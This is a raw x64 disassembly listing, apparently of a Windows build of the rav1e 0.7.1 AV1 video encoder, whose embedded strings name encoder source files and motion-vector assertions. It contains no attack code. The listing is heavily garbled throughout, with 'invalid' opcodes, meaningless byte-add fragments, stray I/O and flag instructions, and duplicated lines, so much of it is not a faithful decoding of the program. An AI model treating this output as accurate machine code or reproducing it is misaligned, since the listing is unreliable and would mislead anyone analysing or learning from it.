mov qword [rsp + 0x110], rcx
div cl
mov ebx, eax
mov ecx, esi
int1
call fcn.140086bfc
mov rcx, rax
movzx eax, byte [rsp + 0xd0]
mov qword [rsp + 0x108], rcx
div cl
mov esi, eax
mov rax, qword [rsp + 0xe8]
mov cl, byte [rax + 0x2fb]
mov rdx, qword [r13 + 0x1b0]
add byte [rax], al
mov rax, qword [rsp + 0xc8]
mov r8, qword [rax + 0x1278]
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xa18]
call fcn.140108511
add byte [rax], al
mov byte [rsp + 0xff], al
mov byte [rsp + 0xc7], al
test al, al
jne 0x14010666b
cmp byte [rbp + 0xa28], 0
je 0x140107331
movzx ebx, bl
movzx eax, sil
mov qword [rsp + 0xd0], rax
mov rax, qword [r13 + 0x70]
mov rcx, qword [rax + 0x90]
mov qword [rsp + 0x140], rcx
mov rax, qword [rax + 0x98]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x120]
mov ecx, dword [rax + 0x230]
mov dword [rsp + 0x128], ecx
lea rdx, [r13 + 0x288]
mov rax, qword [rax + 0x1f0]
mov rcx, qword [rsp + 0xe8]
mov cl, byte [rcx + 0x2fc]
mov byte [rsp + 0x28], cl
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x190], rdx
mov rcx, rdx
mov dl, byte [rsp + 0xc7]
mov r8b, byte [rbp + 0xa38]
mov r9b, 1
call fcn.140073611
movzx eax, byte [rbp + 0x9f0]
shl eax, 8
mov dword [rsp + 0xf0], eax
xor r8d, r8d
mov rdx, qword [rsp + 0x110]
cmp r8, qword [rsp + 0xd0]
jae 0x1401068aa
mov rsi, r8
imul rsi, qword [rsp + 0x108]
add rsi, qword [rbp + 0xa20]
mov r15, qword [r13 + 0x2e8]
mov r14, qword [r13 + 0x2f0]
xor r13d, r13d
mov r12, qword [rbp + 0xa18]
lea rdi, [r13 - 1]
imul rdi, rdx
add rdi, r12
mov rax, rdx
imul rax, r13
add rax, r12
cmp r13, rbx
jae 0x14010689a
mov r12, r13
inc r13
add rdi, rdx
lea rcx, [rax + rdx]
cmp rax, r15
mov rax, rcx
jae 0x140106766
mov rax, rcx
cmp rsi, r14
jae 0x140106766
mov rax, qword [rsp + 0x100]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xd8], r8
mov r8, qword [rax + 0x30]
mov r9, qword [rax + 0x38]
mov rcx, rdi
mov rdx, rsi
call fcn.14007df20
mov qword [rsp + 0x80], rdx
mov ecx, dword [rsp + 0xf0]
mov dword [rsp + 0xa8], ecx
mov cl, byte [rsp + 0xc7]
mov byte [rsp + 0x90], cl
mov cl, byte [rbp + 0xa28]
mov byte [rsp + 0x88], cl
mov qword [rsp + 0x78], rax
mov al, byte [rbp + 0xa10]
mov byte [rsp + 0x70], al
mov al, byte [rbp + 0xa40]
mov byte [rsp + 0x68], al
mov al, byte [rbp + 0xa38]
mov byte [rsp + 0x60], al
mov al, byte [rbp + 0x9e0]
mov byte [rsp + 0x58], al
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rdi
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x30], rax
mov r12, qword [rbp + 0xa18]
mov qword [rsp + 0x28], r12
and qword [rsp + 0xa0], 0
mov qword [rsp + 0x98], 2
and qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0x100]
mov r8, qword [rsp + 0xc8]
mov r9, qword [rsp + 0xe0]
call fcn.1401085b1
mov r8, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x110]
jmp 0x140106751
inc r8
mov r13, qword [rsp + 0x100]
jmp 0x140106718
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0xa18]
mov rdx, qword [rbp + 0xa20]
mov r8b, byte [rbp + 0xa10]
mov r9, qword [rsp + 0x140]
call fcn.1400cdd38
test al, al
je 0x1401071e5
mov rax, qword [rsp + 0x120]
cmp dword [rax + 0x230], 3
je 0x1401071e5
mov cl, byte [rbp + 0xa10]
mov r14, qword [rsp + 0x140]
mov rdx, r14
mov rsi, qword [rsp + 0x118]
mov r8, rsi
call fcn.140086baf
mov edi, eax
mov rax, qword [rsp + 0x110]
imul rax, rbx
mov ecx, r14d
and ecx, 0x3f
mov r15, rax
mov rbx, rax
mov qword [rsp + 0x150], rcx
shr rbx, cl
mov r14, qword [rsp + 0x108]
imul r14, qword [rsp + 0xd0]
mov ecx, esi
and ecx, 0x3f
mov r12, r14
mov qword [rsp + 0x1a8], rcx
shr r14, cl
test rbx, rbx
sete al
test r14, r14
sete sil
or sil, al
mov ecx, edi
call fcn.140087f32
test sil, sil
push 1
pop rcx
cmovne r14, rcx
mov r8, rax
cmovne rbx, rcx
xor eax, eax
mov qword [rsp + 0x158], rax
mov rax, rbx
xor edx, edx
mov qword [rsp + 0x178], r8
div r8
mov qword [rsp + 0x128], rax
mov byte [rsp + 0x138], dil
mov ecx, edi
call fcn.140086bfc
mov rcx, rax
mov rax, r14
xor edx, edx
mov qword [rsp + 0x1a0], rcx
div rcx
mov qword [rsp + 0x1b0], rax
mov al, byte [rbp + 0x9e8]
cmp al, 0xd
jne 0x140106e3c
mov rax, qword [rsp + 0xe8]
movups xmm0, xmmword [rax + 0x260]
movups xmmword [rsp + 0x30], xmm0
mov al, byte [rbp + 0xa38]
mov byte [rsp + 0x28], al
mov al, byte [rbp + 0xa10]
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0x1c0]
mov rdx, r13
mov rsi, qword [rbp + 0xa18]
mov r8, rsi
mov rdi, qword [rbp + 0xa20]
mov r9, rdi
call fcn.14010a8f5
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x158], rdx
jmp 0x140106e55
mov rax, qword [rsp + 0x120]
mov esi, dword [rax + 0x230]
add byte [rcx + 0x4c282474], cl
mov edi, dword [rsp + 0x150]
mov qword [rsp + 0x20], r15
mov rcx, r13
mov rdx, qword [rbp + 0xa20]
mov r8b, byte [rbp + 0xa10]
mov r14, qword [rsp + 0x138]
mov r9, r14
call fcn.1400cdd38
cmp esi, 3
je 0x1401071e5
test al, al
je 0x1401071e5
lea rax, [0x140240628]
mov rcx, qword [rsp + 0x118]
mov bl, byte [rcx + rax]
mov cl, byte [rbp + 0xa10]
lea edx, [rax]
or al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
mov r8, r15
call fcn.140086baf
mov r12d, eax
mov ecx, ebx
call fcn.140087f32
mov ecx, r14d
and ecx, 0x3f
mov qword [rsp + 0xd8], rax
mov rdi, rax
mov qword [rsp + 0x140], rcx
shr rdi, cl
out dx, eax
mov ecx, ebx
call fcn.140086bfc
mov ecx, r15d
and ecx, 0x3f
mov qword [rsp + 0x108], rax
mov rsi, rax
mov qword [rsp + 0x160], rcx
add byte [rax - 0x2d], cl
out dx, al
test rdi, rdi
sete al
test rsi, rsi
sete bl
or bl, al
mov ecx, r12d
call fcn.140087f32
clc
inc dword [rbx + rbx*8 + 0xf59016a]
stc
mov rdx, rax
movzx eax, dil
cmovne esi, ecx
mov qword [rsp + 0x180], rdx
div dl
movzx eax, al
mov dh, 0xc0
mov qword [rsp + 0x110], rax
add byte [rcx + rcx*4 - 0x1f], al
call fcn.140086bfc
mov rcx, rax
movzx eax, sil
mov qword [rsp + 0x170], rcx
add dh, dh
int1
movzx eax, al
mov qword [rsp + 0x178], rax
test byte [rsp + 0xd0], 1
jne 0x140106b92
mov dword [rsp + 0x158], 0
jmp 0x140106ba7
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, rsi
call fcn.1401c6eb0
mov cl, byte [rbp + 0xa40]
mov edx, r12d
call fcn.1400cf52f
cld
dec dword [rcx + 0x1582484]
add byte [rax], al
mov r8d, r12d
xor eax, eax
cmp qword [rsp + 0x108], 1
cmovne r15, rax
mov rcx, qword [rbp + 0xa20]
sub rcx, r15
mov qword [rsp + 0x148], rcx
cmp qword [rsp + 0xd8], 1
cmovne r14, rax
mov rax, r13
sub rax, r14
mov qword [rsp + 0x150], rax
push 1
pop rsi
mov byte [rsp + 0xc7], r12b
mov dil, byte [rsp + 0xc7]
cmp rsi, 3
je 0x1401071e5
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 0x1f0]
mov rdx, qword [rsp + 0xe8]
mov cl, byte [rdx + rsi + 0x2fc]
mov dl, byte [rdx + rsi + 0x2ff]
mov byte [rsp + 0x30], dl
mov byte [rsp + 0x28], cl
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x168]
mov dl, byte [rsp + 0xf0]
xor r9d, r9d
call fcn.140073611
mov qword [rsp + 0x118], rsi
imul rax, rsi, 0x60
mov qword [rsp + 0x138], rax
add byte [rax], al
xor eax, eax
mov rsi, qword [rsp + 0x100]
cmp rax, qword [rsp + 0x178]
jae 0x140106e24
mov qword [rsp + 0xd0], rax
imul rax, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x160]
shl rax, cl
add rax, qword [rsp + 0x148]
mov qword [rsp + 0x108], rax
xor r12d, r12d
xor r14d, r14d
cmp r14, qword [rsp + 0x110]
jae 0x140106e14
lea rax, [r14 + 1]
mov qword [rsp + 0xd8], rax
mov r15, r12
mov rcx, qword [rsp + 0x140]
shl r15, cl
add r15, qword [rsp + 0x150]
add dword [rax], eax
add byte [rax - 0x75], cl
jo 0x140106d27
mov ecx, dword [rsp + 0x138]
mov r8, qword [rax + rcx + 0x30]
mov r9, qword [rax + rcx + 0x38]
mov rcx, r13
mov rdx, qword [rbp + 0xa20]
call fcn.14007df20
mov rbx, rax
mov rsi, rdx
mov ecx, edi
call fcn.140080ff1
mov r13, rax
imul r13, r14
add r13, rbx
mov ecx, edi
call fcn.14008100c
mov rcx, qword [rsp + 0xd0]
imul rax, rcx
add rax, rsi
mov qword [rsp + 0x80], rax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rbx + 0x1282484], cl
add byte [rax], al
mov dword [rsp + 0xa8], eax
mov al, byte [rsp + 0xf0]
mov byte [rsp + 0x90], al
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 + 0x6c], cl
and al, 0x78
mov r13, qword [rbp + 0xa18]
mov rsi, qword [rsp + 0x100]
and al, 0
add dword [rax], eax
add byte [rdx + 0xa1085], cl
add byte [rax - 0x748fdbbc], cl
test byte [rax + rbx*2], ah
add dword [rax], eax
add byte [rax + 0x40682444], cl
mov byte [rsp + 0x60], bh
mov al, byte [rbp + 0x9e0]
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r14
and al, 0x38
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x30], rax
and qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rcx + rcx*4 + 0x6c], cl
and al, 0x28
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x98], 2
mov byte [rsp + 0x88], 0
mov rcx, qword [rsp + 0xe8]
mov rdx, rsi
mov r8, qword [rsp + 0xc8]
mov r9, qword [rsp + 0xe0]
call fcn.1401085b1
add r12, qword [rsp + 0x180]
mov r14, qword [rsp + 0xd8]
jmp 0x140106caa
mov rax, qword [rsp + 0xd0]
inc rax
shr cl, 0x46
invalid
invalid
invalid
mov rsi, qword [rsp + 0x118]
inc rsi
mov r8b, byte [rsp + 0xc7]
jmp 0x140106bf9
push 2
pop rax
mov qword [rsp + 0x160], rax
mov rsi, qword [rbp + 0xa18]
mov rdi, qword [rbp + 0xa20]
mov r14b, byte [rsp + 0x138]
mov ecx, r14d
call fcn.140080ff1
mov qword [rsp + 0x170], rax
cmp rax, 0x1f
jbe 0x140106e89
mov dword [rsp + 0x148], 0
mov bl, byte [rbp + 0x9e8]
mov r8d, r14d
jmp 0x140106ec6
mov ecx, r14d
call fcn.14008100c
cmp rax, 0x1f
jbe 0x140106eaa
mov dword [rsp + 0x148], 0
mov bl, byte [rbp + 0x9e8]
add bl, ch
invalid
mov bl, byte [rbp + 0x9e8]
mov ecx, ebx
call fcn.140075bad
mov dword [rsp + 0x148], eax
mov r8b, byte [rsp + 0x138]
push 1
pop r14
xor eax, eax
cmp bl, 0xd
sete al
mov dword [rsp + 0x168], eax
xor eax, eax
cmp r15, 1
mov rcx, qword [rsp + 0x140]
cmovne rcx, rax
sub rsi, rcx
mov qword [rsp + 0x1b8], rsi
cmp r12, 1
mov rcx, qword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
cmovne rcx, rax
sub rdi, rcx
mov qword [rsp + 0x198], rdi
movzx eax, byte [rbp + 0x9f8]
shl eax, 8
mov dword [rsp + 0x18c], eax
mov dword [rsp + 0xd8], eax
mov r13, qword [rsp + 0x100]
cmp r14, 3
je 0x1401071e5
mov rax, qword [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
mov rax, qword [rax + 0x1f0]
mov rdx, qword [rsp + 0xe8]
mov cl, byte [rdx + r14 + 0x2fc]
mov dl, byte [rdx + r14 + 0x2ff]
mov byte [rsp + 0x30], dl
push rsp
and al, 0x30
push rsp
and al, 0x30
mov byte [rsp + 0x28], cl
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x190]
mov dl, byte [rsp + 0xc7]
add byte [rax], al
add byte [rcx - 0x4f], al
add eax, ebp
mov eax, esi
idiv bh
add byte [rax], al
add byte [rcx - 0x4f], al
add eax, ebp
mov eax, esi
idiv bh
mov eax, dword [rbp + 0xa30]
mov dword [rsp + 0x130], eax
movzx eax, byte [rsp + r14 + 0x12f]
movzx edx, byte [rsp + r14 + 0x131]
lea rcx, [0x1402451f0]
test byte [rdi + rbp], dh
add dword [rax], eax
add byte [rdx + 0xf], al
mov dh, 0x94
xor al, 0x31
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x13e244
imul dx, word [rcx + rax*2]
mov dword [rsp + 0x140], edx
imul rax, r14, 0x60
invalid
invalid
mov qword [rsp + 0x180], rax
xor eax, eax
mov qword [rsp + 0xf0], r14
invalid
cmp rax, qword [rsp + 0x1b0]
mov al, 1
add byte [rax], al
jae 0x1401071d5
mov qword [rsp + 0x108], rax
imul rax, qword [rsp + 0x1a0]
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rbp*4], fs
add dword [rax], eax
add byte [rax - 0x2d], cl
loopne 0x140107041
add eax, dword [rsp + 0x198]
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rbp*4], fs
add dword [rax], eax
add byte [rax - 0x2d], cl
loopne 0x140107041
add eax, dword [rsp + 0x198]
mov qword [rsp + 0x118], rax
xor r14d, r14d
xor edi, edi
xor ebx, ebx
cmp rbx, qword [rsp + 0x128]
jae 0x1401071bd
lea rax, [rbx + 1]
mov qword [rsp + 0x110], rax
mov rsi, r14
mov rcx, qword [rsp + 0x150]
shl rsi, cl
add rsi, qword [rsp + 0x1b8]
mov rax, qword [r13 + 0x70]
mov rcx, qword [rsp + 0x180]
add byte [rcx - 0x75], cl
jo 0x14010708c
mov ecx, dword [rsp + 0x180]
mov r8, qword [rax + rcx + 0x30]
mov r9, qword [rax + rcx + 0x38]
mov rcx, qword [rbp + 0xa18]
mov rdx, qword [rbp + 0xa20]
call fcn.14007df20
idiv edi
idiv edi
mov r15, rax
mov r12, rdx
add r15, rdi
mov qword [rsp + 0xd0], rdi
mov dil, byte [rsp + 0x138]
mov ecx, edi
call fcn.14008100c
dec dword [rbx + rcx*4 - 0x7c]
and al, 8
add dword [rax], eax
add byte [rax], al
dec dword [rbx + rcx*4 - 0x7c]
and al, 8
add dword [rax], eax
add byte [rax], al
imul rax, r8
add rax, r12
invalid
invalid
or byte [rcx], al
add byte [rax], al
imul rax, r8
add rax, r12
mov cl, byte [rbp + 0x9e8]
mov rdx, rcx
cmp dl, 0xd
mov ecx, dword [rsp + 0xd8]
cmove ecx, dword [rsp + 0x140]
mov dword [rsp + 0xd8], ecx
shl ecx, 0x10
add ecx, dword [rsp + 0x18c]
or ecx, dword [rsp + 0x168]
mov dword [rsp + 0xa8], ecx
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x158]
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rdx + 0xc72484], cl
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rdx + 0xc72484], cl
add byte [rax], al
mov byte [rsp + 0x90], al
mov al, byte [rbp + 0xa28]
mov byte [rsp + 0x88], al
mov qword [rsp + 0x78], r15
mov al, byte [rbp + 0xa10]
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x148]
mov byte [rsp + 0x68], al
mov byte [rsp + 0x60], dil
mov rdi, qword [rsp + 0xd0]
mov byte [rsp + 0x58], dl
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x38], ebx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0xa18]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0xe8]
mov rdx, r13
mov r8, qword [rsp + 0xc8]
mov r9, qword [rsp + 0xe0]
call fcn.1401085b1
add rdi, qword [rsp + 0x170]
and al, 0x70
add dword [rax], eax
add byte [rbx + rax - 0x4c], cl
and al, 0x78
add dword [rax], eax
add byte [rax], al
mov rbx, qword [rsp + 0x110]
jmp case.0x1400c4f7b.137
mov rax, qword [rsp + 0x108]
inc rax
mov r14, qword [rsp + 0xf0]
jmp 0x140106fce
inc r14
mov r8b, byte [rsp + 0x138]
jmp 0x140106f31
movaps xmm6, xmmword [rbp + 0x960]
lea rsp, [rbp + 0x978]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp rcx, 0xe
je 0x140107269
jmp case.0x140105cd8.18
movzx r8d, word [rbp + 0xa0c]
movzx r9d, word [rbp + 0xa0e]
movzx eax, word [rsp + 0x134]
movzx ecx, word [rsp + 0x136]
mov byte [rsp + 0x30], r15b
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xe0]
call fcn.1400cdc0e
mov r8b, byte [rbp + 0x9e0]
mov r11b, byte [rbp + 0xa10]
jmp case.0x140105cd8.18
movzx edi, word [rbp + 0xa08]
test r14b, r14b
je 0x1401072ab
test di, di
jne 0x1401073c8
cmp word [rbp + 0xa0a], 0
je case.0x140105cd8.18
lea rcx, [rbp + 0xa0a]
lea r8, [rsp + 0x1c0]
and qword [r8], 0
lea rdx, [0x1402898d8]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c8175
mov rdx, qword [rbp + 0xa50]
cmp di, word [rdx]
jne 0x1401073e4
movzx eax, word [rbp + 0xa0a]
cmp ax, word [rdx + 2]
je case.0x140105cd8.18
lea rcx, [rbp + 0xa0a]
add rdx, 2
lea r8, [rsp + 0x1c0]
and qword [r8], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c8175
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x10
pop rdx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov rcx, r14
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rdx, rcx
jmp 0x140106b8a
lea rdx, [rsp + 0x1c0]
and qword [rdx], 0
lea rcx, [rsp + 0xff]
call fcn.1401c8c6b
lea rcx, str.assertion_failed:_index___self.rowsassertion_failed:_index___self.rect.heightC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_arrayvec_0.7.4_src_arrayvec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tiler.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
push 0x23
jmp 0x1401073b2
lea rcx, str.assertion_failed:_num_mv_found___ref_mv_idx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x2b
jmp 0x1401073b2
lea rcx, str.assertion_failed:_bsize.cfl_allowed__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x25
jmp 0x1401073b2
lea rcx, str.assertion_failed:_mv_stack_ref_mv_idx_.this_mv.row__mvs_0_.row_o__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x40
jmp 0x1401073b2
lea rcx, str.assertion_failed:_0__mvs_0_.row
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1401073b0
lea rcx, str.assertion_failed:_0__mvs_0_.col
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x21
pop rdx
call fcn.1401c6f30
lea rcx, str.assertion_failed:_num_mv_found___2
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x140107358
lea r8, [rsp + 0x1c0]
and qword [r8], 0
lea rdx, [0x1402898d8]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1401073f7
lea r8, [rsp + 0x1c0]
and qword [r8], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
lea rcx, [rbp + 0xa08]
call fcn.1401c8175
int3
sar al, 2
add byte [rax], al
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, 1
add byte [rcx - 0x77], cl
stc
call case.0x1400617de.262
jmp 0x14010fdc5
ret 0x8b48
mov rcx, rsi
mov r9, rdi
stc
call case.0x1400617de.262
cmp bpl, 4
jne 0x14010fe8c
mov rcx, qword [rdi + 0x1278]
js 0x14010fddc
add byte [rax], al
mov rdx, qword [rsp + 0x1b8]
mov r8, r14
call fcn.1400d972f
xor edx, edx
cmp bpl, 3
setne dl
mov rcx, qword [rdi + 0x1288]
imul r8, rax, 0x18
add r8, 0x300
jmp 0x14010ff55
and al, 0xc0
add dword [rax], eax
add al, ch
scasb al, byte [rdi]
xchg edi, eax
cld
dec dword [rcx - 0x75]
invalid
mov edi, dword [rsp + 0x1c0]
mov r9, r15
call case.0x1400617de.262
cmp bpl, 3
jne 0x1401108a0
mov rcx, qword [r15 + 0x1278]
mov rdx, qword [rsp + 0x1b8]
adc al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb8
add dword [rax], eax
add byte [rcx - 0x77], cl
mov r8, rdi
mov r8, rdi
call fcn.1400d972f
mov rcx, qword [r15 + 0x1288]
imul rax, rax, 0xc
lea r8, [rcx + rax]
add r8, 0x34
sal byte [rcx + rbp*8], 0x46
or al, byte [rax]
invalid
sal byte [rcx + rbp*8], 0x46
or al, byte [rax]
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rdi + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r8, r14
invalid
call fcn.1400d96c0
xor edx, edx
cmp bpl, 1
setne dl
mov rcx, qword [rdi + 0x1288]
imul r8, rax, 0x18
add r8, 0x2fc
add byte [rax], al
invalid
rcr byte [rax], 0x49
add eax, 0x2fc
add byte [rax], al
add byte [rax], al
jmp 0x14010ff55
mov cl, 0xe0
cld
inc dword [rax - 0x80]
std
invalid
add byte [rbp - 0x77], cl
invalid
mov qword [rsp + 0x20], rcx
mov rcx, rsi
and byte [rax - 0x77], cl
int1
mov r9, rdi
call case.0x1400617de.262
mov dil, byte [rsp + 0x180]
cmp dil, 0x14
setb bpl
jae 0x14010ffa7
mov rcx, qword [rsp + 0x98]
mov rdx, rsi
mov r8d, edi
mov r9, qword [rsp + 0x1e8]
mov ecx, dword [rsp + 0x1e8]
mov ecx, dword [rsp + 0x1e8]
call fcn.1400e05aa
cmp dil, 0x13
mov rcx, qword [rsp + 0x1f8]
je 0x14010ffda
xor ebp, ebp
jmp 0x140110027
mov rcx, qword [rsp + 0x98]
mov rdx, rsi
mov r8d, edi
mov word [rax + rbx*4], fs
and al, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
mov r8d, edi
mov r9, qword [rsp + 0x1e8]
call fcn.1400e069a
cmp dil, 0x21
jne 0x14011001d
mov rcx, qword [rsp + 0x1f8]
cmp rcx, 2
jb 0x140110b43
add byte [rax], al
xor eax, eax
cmp rax, 2
je 0x140110027
inc rax
cmp rcx, 2
jb 0x14010ffdc
imul rax, rax, 0xc
mov ecx, 0x280
xor r9d, r9d
cmp dword [r15 + rax + 8], ecx
setb r9b
cmp dword [r15 + 8], ecx
adc r9, 0
mov rcx, qword [rsp + 0x98]
mov rdx, rsi
xor r8d, r8d
call fcn.1400e072c
jmp 0x14011002c
xor ebp, ebp
mov rcx, qword [rsp + 0x1f8]
test rcx, rcx
je 0x140110044
mov rax, qword [r15]
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xa8], 0
jmp 0x140110062
invalid
xor eax, eax
cmp rax, 2
je 0x140110059
and dword [rsp + rax*4 + 0xc0], 0
inc rax
shr bl, 0xed
shr bl, 0xed
mov al, 1
mov dword [rsp + 0xa8], eax
xor esi, esi
mov rax, qword [rsp + 0xb8]
cmp esi, dword [rax + 0x2d4]
sbb esi, esi
or sil, byte [rax + 0x31a]
add byte [rax], al
movzx r15d, dil
inc dword [rax - 0x7c]
in eax, dx
inc dword [rax - 0x7c]
in eax, dx
mov rdi, qword [rsp + 0x98]
je 0x140110160
movzx r14d, word [rsp + 0x1a8]
movzx r9d, word [rsp + 0x1aa]
movzx eax, word [rsp + 0xc0]
movzx ecx, word [rsp + 0xc2]
mov byte [rsp + 0x30], sil
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov rcx, rdi
mov rdx, qword [rsp + 0xa0]
mov edx, dword [rsp + 0xa0]
mov r8d, r14d
invalid
call fcn.1400e0762
mov al, byte [rsp + 0x180]
cmp al, 0x21
ja case.0x14011017b.18
invalid
mov eax, 0xfce38000
bt rax, r15
jb case.0x14011017b.15
movabs rax, 0x201000000
bt rax, r15
jae 0x14011099c
movzx r8d, word [rsp + 0x1ac]
movzx r9d, word [rsp + 0x1ae]
movzx eax, word [rsp + 0xc4]
movzx ecx, word [rsp + 0xc6]
mov byte [rsp + 0x30], sil
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov rcx, rdi
mov rdx, qword [rsp + 0xa0]
call fcn.1400e0762
mov al, byte [rsp + 0x180]
add eax, 0xffffffe6
mov r14d, 1
cmp al, 6
jb 0x14011019f
jmp case.0x14011017b.18
lea eax, [r15 - 0xe]
cmp eax, 0x13
ja case.0x14011017b.18
lea rcx, [0x14028c33c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov al, byte [rsp + 0x180]
add eax, 0xfffffff1
mov r14d, 1
cmp al, 8
ja 0x14011019f
movzx eax, al
lea rcx, [0x14028adf8]
mov r14, qword [rcx + rax*8]
invalid
mov al, byte [rsp + 0x180]
cmp al, 0xf
mov rdx, qword [rsp + 0x1f8]
je 0x1401101bb
cmp r14, rdx
jae 0x140110ad3
mov rax, qword [rsp + 0x1f0]
lea rsi, [rax + 0x14]
mov r15d, 2
mov ebp, 0x280
cmp r15, 4
je 0x140110223
cmp r15, rdx
jae 0x14011021a
lea rdi, [r15 - 1]
cmp r14, rdi
seta r8b
xor r9d, r9d
leave
cmp dword [rsi + 0xc], ebp
setb r9b
cmp dword [rsi], ebp
adc r9, 0
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
call fcn.1400e072c
mov rdx, qword [rsp + 0x1f8]
cmp r14, rdi
jbe 0x140110229
add rsi, 0xc
inc r15
jmp 0x1401101d2
cmp rdx, 1
jbe 0x14011027c
cmp r14, rdx
jae 0x140110a97
imul rax, r14, 0xc
mov rdx, qword [rsp + 0x1f0]
movzx ecx, word [rdx + rax]
cmp cx, word [rsp + 0x1a8]
mov rdi, qword [rsp + 0x98]
